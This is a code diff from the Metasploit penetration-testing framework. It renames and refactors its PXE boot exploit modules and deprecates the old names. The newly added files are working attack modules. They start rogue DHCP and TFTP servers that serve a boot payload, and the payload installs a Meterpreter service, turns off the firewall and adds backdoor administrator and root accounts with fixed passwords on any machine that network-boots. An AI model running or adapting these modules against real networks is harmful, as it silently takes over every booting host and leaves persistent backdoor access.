diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb new file mode 100644 index 0000000000..a2a7815f82 --- /dev/null +++ b/modules/auxiliary/server/pxeexploit.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Boot Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.start + add_socket(@tftp.sock) + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note( + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + ) + end + @dhcp.start + add_socket(@dhcp.sock) + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + + end + +end diff --git a/modules/auxiliary/server/pxexploit.rb b/modules/auxiliary/server/pxexploit.rb index 86db0e5c4c..d7b4f60206 100644 --- a/modules/auxiliary/server/pxexploit.rb +++ b/modules/auxiliary/server/pxexploit.rb @@ -11,6 +11,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'auxiliary/server/pxeexploit') def initialize super( @@ -38,12 +41,17 @@ class Metasploit3 < Msf::Auxiliary [ 'Service' ], - 'DefaultAction' => 'Service' + 'DefaultAction' => 'Service', + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), @@ -52,12 +60,6 @@ class Metasploit3 < Msf::Auxiliary end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - print_status("Starting TFTP server...") @tftp = Rex::Proto::TFTP::Server.new @tftp.set_tftproot(datastore['TFTPROOT']) diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb index 16f718b14e..04edbd3f44 100644 --- a/modules/exploits/windows/local/pxeexploit.rb +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -47,7 +47,11 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_options( @@ -57,7 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), @@ -67,12 +72,6 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - # Prepare payload print_status("Creating initrd") initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) diff --git a/modules/post/windows/manage/pxeexploit.rb b/modules/post/windows/manage/pxeexploit.rb new file mode 100644 index 0000000000..8692ed4a64 --- /dev/null +++ b/modules/post/windows/manage/pxeexploit.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Windows Manage PXE Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing a payload to install metsvc, disable the + firewall, and add a new user metasploit on any Windows partition seen, + and add a uid 0 user with username and password metasploit to any linux + partition seen. The windows user will have the password p@SSw0rd!123456 + (in case of complexity requirements) and will be added to the administrators + group. + + See exploit/windows/misc/pxesploit for a version to deliver a specific payload. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + ) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def run + if not client.lanattacks + print_status("Loading lanattacks extension...") + client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.dhcp.reset + end + end + + #Not setting these options (using autodetect) + print_status("Loading DHCP options...") + client.lanattacks.dhcp.load_options(datastore) + + 0.upto(4) do |i| + print_status("Loading file #{i+1} of 5") + contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) + client.lanattacks.tftp.add_file("update#{i}",contents) + end + print_status("Starting TFTP server...") + client.lanattacks.tftp.start + print_status("Starting DHCP server...") + client.lanattacks.dhcp.start + print_status("PXEsploit attack started") + while (true) do + begin + # get stats every 20s + select(nil, nil, nil, 20) + client.lanattacks.dhcp.log.each do |item| + print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(item[1])})") + report_note({ + :type => 'PXE.client', + :data => item[0].unpack('H2H2H2H2H2H2').join(':') + }) + end + rescue ::Interrupt + print_status("Stopping TFTP server...") + client.lanattacks.tftp.stop + print_status("Stopping DHCP server...") + client.lanattacks.dhcp.stop + print_status("PXEsploit attack stopped") + return + end + end + end + +end diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index 40ef9b0a86..ba644df674 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -9,6 +9,9 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 4, 11), 'post/windows/manage/pxeexploit') def initialize super( @@ -36,7 +39,8 @@ class Metasploit3 < Msf::Post register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), @@ -46,9 +50,6 @@ class Metasploit3 < Msf::Post end def run - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = ::File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end if not client.lanattacks print_status("Loading lanattacks extension...") client.core.use("lanattacks")